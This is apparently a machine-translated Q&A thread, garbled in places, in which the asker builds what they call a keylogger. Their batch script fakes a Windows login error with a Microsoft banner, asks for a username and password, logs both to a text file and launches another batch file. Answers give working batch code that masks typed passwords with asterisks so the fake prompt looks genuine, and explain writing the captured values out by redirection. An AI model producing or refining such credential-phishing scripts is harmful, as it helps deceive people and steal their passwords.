2017-12-07 2 views
0

싶습니다 대체 내가 암호에 로그처럼 그 별표 같이 할 : 나는 그것이 내가 검색을 시도 진짜 같아 보이는 기대Kelogger/pasowrd asterrix 나는 키로거를 만들기 위해

@echo off 
mode con: cols=10000 lines=300 
color a 
title Login 
cls 
echo LOGIN ERROR 
ver 
echo (c) 2017 Microsoft Corporation. All rights reserved. 
echo. 
cd “C:Logs” 
set /p user=Username: 
set /p pass=Password: 
echo Username=”%user%” Password=”%pass%” >> Log.txt 
start open2.bat 
exit 

를 제외한 모든 난 그냥이에 유래 여기에 중복 질문은 알고 있지만 나는 그것을 찾을 수있는 별표

+0

뭔가 : https://stackoverflow.com/a/22282223/1417694 – Squashman

답변

0

텍스트하지 바탕 화면

을 위해 원하는 화면의 로그입니다 발견했다. 나는 DosTips.com에서도이 코드를 발견했을 것이다. 원본 링크를 찾으면 질문을 업데이트 할 것입니다.

기본적으로 이것은 비밀번호 입력을 별표로 마스킹하기 위해 찾고있는 코드입니다. 이 같은

@echo off &setlocal 

:username 
cls 
SET "username=" 
SET /P "username=Enter your username:" 
IF NOT DEFINED username GOTO username 

:password 
cls 
<nul set /p "=Enter your password: " 
call :HInput password 
IF NOT DEFINED password GOTO password 

setlocal EnableDelayedExpansion 
echo user:%username% pass:!password! 
pause 
goto :eof 


:HInput [ByRef_VarName] 
:: inspired by Carlos 
:: improved by pieh-ejdsch 
if "%__HI__%" neq "__HI__" (
    setlocal DisableDelayedExpansion 
    set "S=" &set "N=0" &set "__HI__=__HI__" 
    for /f %%i in ('"prompt;$h&for %%i in (1) do rem"') do set "BS=%%i" 
) 
set "C=" 
for /f "eol=1 delims=" %%i in ('xcopy /lwq "%~f0" :\') do set "C=%%i" 
set "C=%C:~-1%" 
setlocal EnableDelayedExpansion 
if not defined C (
    echo(
    if "%~1"=="" (
    echo(!S! 
    endlocal &endlocal &exit /b %N% 
) else (
    if defined S (
     for /f delims^=^ eol^= %%i in ("!S!") do endlocal &endlocal &set "%~1=%%i" &exit /b %N% 
    ) else endlocal &endlocal &set "%~1=" &exit /b 0 
) 
) 
if "!BS!"=="!C!" (
    set "C=" 
    if defined S set /a "N -= 1" &set "S=!S:~,-1!" &<nul set /p "=%BS% %BS%" 
) else set /a "N += 1" &<nul set /p "=*" 
if not defined S (
    endlocal &set "N=%N%" &set "S=%C%" 
) else for /f delims^=^ eol^= %%i in ("!S!") do endlocal &set "N=%N%" &set "S=%%i%C%" 
goto HInput 
+0

@hipoo, 당신은 당신의 코드 예제에서 그 일을하는 것과 같은 방법입니다. [리디렉션] (http://www.robvanderwoude.com/redirection.php). – Squashman